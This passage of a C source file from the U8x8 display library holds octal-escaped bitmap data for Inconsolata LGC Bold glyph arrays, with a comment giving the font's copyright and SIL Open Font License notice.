\"\\377\\377\\377\\377\\0\\7\\177\\377\\377\\377\\377\\376\\300\\200\\370\\377\\377\\377\\177\\7\\1\\17\\377\\377\\377\\377\\374\\340\\0\\370\\377\\377\"\n  \"\\377\\377\\177\\1\\0\\0\\0\\17\\377\\377\\377\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\376\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\7\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\4\\34<\\374\\374\\374\\374\\374\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\374\\374\\374|\"\n  \"\\34\\14\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\377\\377\\377\\376\\370\\360\\300\\360\\374\\376\\377\\377\\177\\77\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\361\\377\\377\\377\\377\\177\\377\\377\\377\\377\\370\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\77\\37\\7\\3\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\376\\374\\370\\340\"\n  \"\\300\\200\\0\\0\\6\\7\\7\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\"\n  \"\\7\\7\\6\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34|\\374\\374\\374\\374\\374\\374\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\374\\374\\374\"\n  \"\\374\\374<\\4\\0\\0\\1\\17\\77\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\376\\370\\340\\0\\0\\200\\340\\374\\377\\377\\377\\377\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\374\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\340\\300\\0\\0\\0\\0\\0\\0\\200\\300\\340\\374\\377\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\177\\177~~\\177\\177\\177\\77\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\377\\377\\177\\77\\37\\17\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\377\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\370\\376\\377\\377\\377\\377\\377\\357\\347\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\360\\360\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\17\\17\\77\\377\\377\\377\\376\\374\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\77\\77\\77\\177\\177\\177\\177~~~~~~~~\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\17\\37\\377\\377\\377\\377\\377\\374\\360\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\177\\177\\377\\377\\376\\370\\360\\360\\340\"\n  \"\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\377\\377\\177\\37\\17\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\377\\377\\377\\377\\177\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0~~~~~~~~~\\177\\177\\177\\177\\77\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0`\\360\\370\\370\\374\\374\\376\\376~~~~\\376\\376\\376\\374\\374\\370\\370\\360\\360\\340\\340\\340\\360\\360\\370\\374\"\n  \"\\376\\374|\\70\\0\\0\\1\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--62-620-72-72-P-301-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 18/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb46_4x8_n[6916] U8X8_FONT_SECTION(\"u8x8_font_inb46_4x8_n\") = \n  \" :\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300@\\0\\0\\0\\0\\0\\0\\0\\0\"\n  